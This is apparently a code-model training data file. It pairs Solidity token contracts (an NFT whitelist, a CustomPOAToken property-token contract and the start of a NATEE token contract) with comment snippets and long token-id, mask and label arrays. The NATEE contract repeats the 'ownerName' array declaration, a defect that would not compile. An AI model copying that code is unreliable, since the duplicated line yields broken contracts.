require(isMember(_member), "Wallet address is not whitelisted."); delete members[_member]; emit MemberRemoved(_member); } // Adds list of wallet addresses to whitelist function addMemberList(address[] memory _memberList) public onlyOwner { for (uint i = 0; i < _memberList.length; i++) { require(!isMember(_memberList[i]), "Wallet address is already whitelisted."); members[_memberList[i]] = true; } } // Removes list of wallet addresses to whitelist function removeMemberList(address[] memory _memberList) public onlyOwner { for (uint i = 0; i < _memberList.length; i++) { require(isMember(_memberList[i]), "Wallet address is not whitelisted."); delete members[_memberList[i]]; } } // Withdraw funds from NFT contract function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
Maximum NFTs mintable on one wallet
uint256 public nftPerAddressLimit = 100;
14,738,459
[ 1, 13528, 423, 4464, 87, 312, 474, 429, 603, 1245, 9230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 290, 1222, 2173, 1887, 3039, 273, 2130, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xC6D23c746d9b3d97D8281BD878A17CdFA90a9ac1 //Contract name: CustomPOAToken //Balance: 0.0007065 Ether //Verification Date: 3/29/2018 //Transacion Count: 37 // CODE STARTS HERE pragma solidity 0.4.18; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/token/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/PausableToken.sol /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: contracts/CustomPOAToken.sol contract CustomPOAToken is PausableToken { string public name; string public symbol; uint8 public constant decimals = 18; address public owner; address public broker; address public custodian; uint256 public creationBlock; uint256 public timeoutBlock; // the total per token payout rate: accumulates as payouts are received uint256 public totalPerTokenPayout; uint256 public tokenSaleRate; uint256 public fundedAmount; uint256 public fundingGoal; uint256 public initialSupply; // ‰ permille NOT percent uint256 public constant feeRate = 5; // self contained whitelist on contract, must be whitelisted to buy mapping (address => bool) public whitelisted; // used to deduct already claimed payouts on a per token basis mapping(address => uint256) public claimedPerTokenPayouts; // fallback for when a transfer happens with payouts remaining mapping(address => uint256) public unclaimedPayoutTotals; enum Stages { Funding, Pending, Failed, Active, Terminated } Stages public stage = Stages.Funding; event StageEvent(Stages stage); event BuyEvent(address indexed buyer, uint256 amount); event PayoutEvent(uint256 amount); event ClaimEvent(uint256 payout); event TerminatedEvent(); event WhitelistedEvent(address indexed account, bool isWhitelisted); modifier isWhitelisted() { require(whitelisted[msg.sender]); _; } modifier onlyCustodian() { require(msg.sender == custodian); _; } // start stage related modifiers modifier atStage(Stages _stage) { require(stage == _stage); _; } modifier atEitherStage(Stages _stage, Stages _orStage) { require(stage == _stage || stage == _orStage); _; } modifier checkTimeout() { if (stage == Stages.Funding && block.number >= creationBlock.add(timeoutBlock)) { uint256 _unsoldBalance = balances[this]; balances[this] = 0; totalSupply = totalSupply.sub(_unsoldBalance); Transfer(this, address(0), balances[this]); enterStage(Stages.Failed); } _; } // end stage related modifiers // token totalSupply must be more than fundingGoal! function CustomPOAToken ( string _name, string _symbol, address _broker, address _custodian, uint256 _timeoutBlock, uint256 _totalSupply, uint256 _fundingGoal ) public { require(_fundingGoal > 0); require(_totalSupply > _fundingGoal); owner = msg.sender; name = _name; symbol = _symbol; broker = _broker; custodian = _custodian; timeoutBlock = _timeoutBlock; creationBlock = block.number; // essentially sqm unit of building... totalSupply = _totalSupply; initialSupply = _totalSupply; fundingGoal = _fundingGoal; balances[this] = _totalSupply; paused = true; } // start token conversion functions /******************* * TKN supply * * --- = ------- * * ETH funding * *******************/ // util function to convert wei to tokens. can be used publicly to see // what the balance would be for a given Ξ amount. // will drop miniscule amounts of wei due to integer division function weiToTokens(uint256 _weiAmount) public view returns (uint256) { return _weiAmount .mul(1e18) .mul(initialSupply) .div(fundingGoal) .div(1e18); } // util function to convert tokens to wei. can be used publicly to see how // much Ξ would be received for token reclaim amount // will typically lose 1 wei unit of Ξ due to integer division function tokensToWei(uint256 _tokenAmount) public view returns (uint256) { return _tokenAmount .mul(1e18) .mul(fundingGoal) .div(initialSupply) .div(1e18); } // end token conversion functions // pause override function unpause() public onlyOwner whenPaused { // only allow unpausing when in Active stage require(stage == Stages.Active); return super.unpause(); } // stage related functions function enterStage(Stages _stage) private { stage = _stage; StageEvent(_stage); } // start whitelist related functions // allow address to buy tokens function whitelistAddress(address _address) external onlyOwner atStage(Stages.Funding) { require(whitelisted[_address] != true); whitelisted[_address] = true; WhitelistedEvent(_address, true); } // disallow address to buy tokens. function blacklistAddress(address _address) external onlyOwner atStage(Stages.Funding) { require(whitelisted[_address] != false); whitelisted[_address] = false; WhitelistedEvent(_address, false); } // check to see if contract whitelist has approved address to buy function whitelisted(address _address) public view returns (bool) { return whitelisted[_address]; } // end whitelist related functions // start fee handling functions // public utility function to allow checking of required fee for a given amount function calculateFee(uint256 _value) public view returns (uint256) { return feeRate.mul(_value).div(1000); } // end fee handling functions // start lifecycle functions function buy() public payable checkTimeout atStage(Stages.Funding) isWhitelisted returns (bool) { uint256 _payAmount; uint256 _buyAmount; // check if balance has met funding goal to move on to Pending if (fundedAmount.add(msg.value) < fundingGoal) { // _payAmount is just value sent _payAmount = msg.value; // get token amount from wei... drops remainders (keeps wei dust in contract) _buyAmount = weiToTokens(_payAmount); // check that buyer will indeed receive something after integer division // this check cannot be done in other case because it could prevent // contract from moving to next stage require(_buyAmount > 0); } else { // let the world know that the token is in Pending Stage enterStage(Stages.Pending); // set refund amount (overpaid amount) uint256 _refundAmount = fundedAmount.add(msg.value).sub(fundingGoal); // get actual Ξ amount to buy _payAmount = msg.value.sub(_refundAmount); // get token amount from wei... drops remainders (keeps wei dust in contract) _buyAmount = weiToTokens(_payAmount); // assign remaining dust uint256 _dust = balances[this].sub(_buyAmount); // sub dust from contract balances[this] = balances[this].sub(_dust); // give dust to owner balances[owner] = balances[owner].add(_dust); Transfer(this, owner, _dust); // SHOULD be ok even with reentrancy because of enterStage(Stages.Pending) msg.sender.transfer(_refundAmount); } // deduct token buy amount balance from contract balance balances[this] = balances[this].sub(_buyAmount); // add token buy amount to sender's balance balances[msg.sender] = balances[msg.sender].add(_buyAmount); // increment the funded amount fundedAmount = fundedAmount.add(_payAmount); // send out event giving info on amount bought as well as claimable dust Transfer(this, msg.sender, _buyAmount); BuyEvent(msg.sender, _buyAmount); return true; } function activate() external checkTimeout onlyCustodian payable atStage(Stages.Pending) returns (bool) { // calculate company fee charged for activation uint256 _fee = calculateFee(fundingGoal); // value must exactly match fee require(msg.value == _fee); // if activated and fee paid: put in Active stage enterStage(Stages.Active); // owner (company) fee set in unclaimedPayoutTotals to be claimed by owner unclaimedPayoutTotals[owner] = unclaimedPayoutTotals[owner].add(_fee); // custodian value set to claimable. can now be claimed via claim function // set all eth in contract other than fee as claimable. // should only be buy()s. this ensures buy() dust is cleared unclaimedPayoutTotals[custodian] = unclaimedPayoutTotals[custodian] .add(this.balance.sub(_fee)); // allow trading of tokens paused = false; // let world know that this token can now be traded. Unpause(); return true; } // used when property no longer exists etc. allows for winding down via payouts // can no longer be traded after function is run function terminate() external onlyCustodian atStage(Stages.Active) returns (bool) { // set Stage to terminated enterStage(Stages.Terminated); // pause. Cannot be unpaused now that in Stages.Terminated paused = true; // let the world know this token is in Terminated Stage TerminatedEvent(); } // emergency temporary function used only in case of emergency to return // Ξ to contributors in case of catastrophic contract failure. function kill() external onlyOwner { // stop trading paused = true; // enter stage which will no longer allow unpausing enterStage(Stages.Terminated); // transfer funds to company in order to redistribute manually owner.transfer(this.balance); // let the world know that this token is in Terminated Stage TerminatedEvent(); } // end lifecycle functions // start payout related functions // get current payout for perTokenPayout and unclaimed function currentPayout(address _address, bool _includeUnclaimed) public view returns (uint256) { /* need to check if there have been no payouts safe math will throw otherwise due to dividing 0 The below variable represents the total payout from the per token rate pattern it uses this funky naming pattern in order to differentiate from the unclaimedPayoutTotals which means something very different. */ uint256 _totalPerTokenUnclaimedConverted = totalPerTokenPayout == 0 ? 0 : balances[_address] .mul(totalPerTokenPayout.sub(claimedPerTokenPayouts[_address])) .div(1e18); /* balances may be bumped into unclaimedPayoutTotals in order to maintain balance tracking accross token transfers perToken payout rates are stored * 1e18 in order to be kept accurate perToken payout is / 1e18 at time of usage for actual Ξ balances unclaimedPayoutTotals are stored as actual Ξ value no need for rate * balance */ return _includeUnclaimed ? _totalPerTokenUnclaimedConverted.add(unclaimedPayoutTotals[_address]) : _totalPerTokenUnclaimedConverted; } // settle up perToken balances and move into unclaimedPayoutTotals in order // to ensure that token transfers will not result in inaccurate balances function settleUnclaimedPerTokenPayouts(address _from, address _to) private returns (bool) { // add perToken balance to unclaimedPayoutTotals which will not be affected by transfers unclaimedPayoutTotals[_from] = unclaimedPayoutTotals[_from].add(currentPayout(_from, false)); // max out claimedPerTokenPayouts in order to effectively make perToken balance 0 claimedPerTokenPayouts[_from] = totalPerTokenPayout; // same as above for to unclaimedPayoutTotals[_to] = unclaimedPayoutTotals[_to].add(currentPayout(_to, false)); // same as above for to claimedPerTokenPayouts[_to] = totalPerTokenPayout; return true; } // used to manually set Stage to Failed when no users have bought any tokens // if no buy()s occurred before timeoutBlock token would be stuck in Funding function setFailed() external atStage(Stages.Funding) checkTimeout returns (bool) { if (stage == Stages.Funding) { revert(); } return true; } // reclaim Ξ for sender if fundingGoal is not met within timeoutBlock function reclaim() external checkTimeout atStage(Stages.Failed) returns (bool) { // get token balance of user uint256 _tokenBalance = balances[msg.sender]; // ensure that token balance is over 0 require(_tokenBalance > 0); // set token balance to 0 so re reclaims are not possible balances[msg.sender] = 0; // decrement totalSupply by token amount being reclaimed totalSupply = totalSupply.sub(_tokenBalance); Transfer(msg.sender, address(0), _tokenBalance); // decrement fundedAmount by eth amount converted from token amount being reclaimed fundedAmount = fundedAmount.sub(tokensToWei(_tokenBalance)); // set reclaim total as token value uint256 _reclaimTotal = tokensToWei(_tokenBalance); // send Ξ back to sender msg.sender.transfer(_reclaimTotal); return true; } // send Ξ to contract to be claimed by token holders function payout() external payable atEitherStage(Stages.Active, Stages.Terminated) onlyCustodian returns (bool) { // calculate fee based on feeRate uint256 _fee = calculateFee(msg.value); // ensure the value is high enough for a fee to be claimed require(_fee > 0); // deduct fee from payout uint256 _payoutAmount = msg.value.sub(_fee); /* totalPerTokenPayout is a rate at which to payout based on token balance it is stored as * 1e18 in order to keep accuracy it is / 1e18 when used relating to actual Ξ values */ totalPerTokenPayout = totalPerTokenPayout .add(_payoutAmount .mul(1e18) .div(totalSupply) ); // take remaining dust and send to owner rather than leave stuck in contract // should not be more than a few wei uint256 _delta = (_payoutAmount.mul(1e18) % totalSupply).div(1e18); unclaimedPayoutTotals[owner] = unclaimedPayoutTotals[owner].add(_fee).add(_delta); // let the world know that a payout has happened for this token PayoutEvent(_payoutAmount); return true; } // claim total Ξ claimable for sender based on token holdings at time of each payout function claim() external atEitherStage(Stages.Active, Stages.Terminated) returns (uint256) { /* pass true to currentPayout in order to get both: perToken payouts unclaimedPayoutTotals */ uint256 _payoutAmount = currentPayout(msg.sender, true); // check that there indeed is a pending payout for sender require(_payoutAmount > 0); // max out per token payout for sender in order to make payouts effectively // 0 for sender claimedPerTokenPayouts[msg.sender] = totalPerTokenPayout; // 0 out unclaimedPayoutTotals for user unclaimedPayoutTotals[msg.sender] = 0; // let the world know that a payout for sender has been claimed ClaimEvent(_payoutAmount); // transfer Ξ payable amount to sender msg.sender.transfer(_payoutAmount); return _payoutAmount; } // end payout related functions // start ERC20 overrides // same as ERC20 transfer other than settling unclaimed payouts function transfer ( address _to, uint256 _value ) public whenNotPaused returns (bool) { // move perToken payout balance to unclaimedPayoutTotals require(settleUnclaimedPerTokenPayouts(msg.sender, _to)); return super.transfer(_to, _value); } // same as ERC20 transfer other than settling unclaimed payouts function transferFrom ( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { // move perToken payout balance to unclaimedPayoutTotals require(settleUnclaimedPerTokenPayouts(_from, _to)); return super.transferFrom(_from, _to, _value); } // end ERC20 overrides // check if there is a way to get around gas issue when no gas limit calculated... // fallback function defaulting to buy function() public payable { buy(); } }
start stage related modifiers
modifier atStage(Stages _stage) { require(stage == _stage); _; }
12,650,352
[ 1, 1937, 6009, 3746, 10429, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 9606, 622, 8755, 12, 31359, 389, 12869, 13, 288, 203, 565, 2583, 12, 12869, 422, 389, 12869, 1769, 203, 565, 389, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; // library for basic math operation + - * / to prevent and protect overflow error // (Overflow and Underflow) which can be occurred from unit256 (Unsigned int 256) library SafeMath256 { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a==0 || b==0) return 0; uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b>0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require( b<= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } // Mandatory basic functions according to ERC20 standard contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom(address from, address to, uint256 tokens) public returns (bool success); } // Contract Ownable is used to specified which person has right/permission to execute/invoke the specific function. // Different from OnlyOwner which is the only owner of the smart contract who has right/permission to call // the specific function. Aside from OnlyOwner, // OnlyOwners can also be used which any of Owners can call the particular function. contract Ownable { // A list of owners which will be saved as a list here, // and the values are the owner’s names. // This to allow investors / NATEE Token buyers to trace/monitor // who executes which functions written in this NATEE smart contract string [] ownerName; string [] ownerName; mapping (address=>bool) owners; mapping (address=>uint256) ownerToProfile; address owner; // all events will be saved as log files event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddOwner(address newOwner,string name); event RemoveOwner(address owner); /** * @dev Ownable constructor , initializes sender’s account and * set as owner according to default value according to contract * */ // this function will be executed during initial load and will keep the smart contract creator (msg.sender) as Owner // and also saved in Owners. This smart contract creator/owner is // Mr. Samret Wajanasathian CTO of Seitee Pte Ltd (https://seitee.com.sg , https://natee.io) constructor() public { owner = msg.sender; owners[msg.sender] = true; uint256 idx = ownerName.push("SAMRET WAJANASATHIAN"); ownerToProfile[msg.sender] = idx; } // function to check whether the given address is either Wallet address or Contract Address function isContract(address _addr) internal view returns(bool){ uint256 length; assembly{ length := extcodesize(_addr) } if(length > 0){ return true; } else { return false; } } // function to check if the executor is the owner? This to ensure that only the person // who has right to execute/call the function has the permission to do so. modifier onlyOwner(){ require(msg.sender == owner); _; } // This function has only one Owner. The ownership can be transferrable and only // the current Owner will only be able to execute this function. function transferOwnership(address newOwner,string newOwnerName) public onlyOwner{ require(isContract(newOwner) == false); uint256 idx; if(ownerToProfile[newOwner] == 0) { idx = ownerName.push(newOwnerName); ownerToProfile[newOwner] = idx; } emit OwnershipTransferred(owner,newOwner); owner = newOwner; } // Function to check if the person is listed in a group of Owners and determine // if the person has the any permissions in this smart contract such as Exec permission. modifier onlyOwners(){ require(owners[msg.sender] == true); _; } // Function to add Owner into a list. The person who wanted to add a new owner into this list but be an existing // member of the Owners list. The log will be saved and can be traced / monitor who’s called this function. function addOwner(address newOwner,string newOwnerName) public onlyOwners{ require(owners[newOwner] == false); require(newOwner != msg.sender); if(ownerToProfile[newOwner] == 0) { uint256 idx = ownerName.push(newOwnerName); ownerToProfile[newOwner] = idx; } owners[newOwner] = true; emit AddOwner(newOwner,newOwnerName); } // Function to remove the Owner from the Owners list. The person who wanted to remove any owner from Owners // List must be an existing member of the Owners List. The owner cannot evict himself from the Owners // List by his own, this is to ensure that there is at least one Owner of this NATEE Smart Contract. // This NATEE Smart Contract will become useless if there is no owner at all. function removeOwner(address _owner) public onlyOwners{ require(_owner != msg.sender); // can't remove your self owners[_owner] = false; emit RemoveOwner(_owner); } // this function is to check of the given address is allowed to call/execute the particular function // return true if the given address has right to execute the function. // for transparency purpose, anyone can use this to trace/monitor the behaviors of this NATEE smart contract. function isOwner(address _owner) public view returns(bool){ return owners[_owner]; } // Function to check who’s executed the functions of smart contract. This returns the name of // Owner and this give transparency of whose actions on this NATEE Smart Contract. function getOwnerName(address ownerAddr) public view returns(string){ require(ownerToProfile[ownerAddr] > 0); return ownerName[ownerToProfile[ownerAddr] - 1]; } } // ContractToken is for managing transactions of wallet address or contract address with its own // criterias and conditions such as settlement. contract ControlToken is Ownable{ mapping (address => bool) lockAddr; address[] lockAddrList; uint32 unlockDate; bool disableBlock; bool call2YLock; mapping(address => bool) allowControl; address[] exchangeAddress; uint32 exchangeTimeOut; event Call2YLock(address caller); // Initially the lockin period is set for 100 years starting from the date of Smart Contract Deployment. // The company will have to adjust it to 2 years for lockin period starting from the first day that // NATEE token listed in exchange (in any exchange). constructor() public{ unlockDate = uint32(now) + 36500 days; // 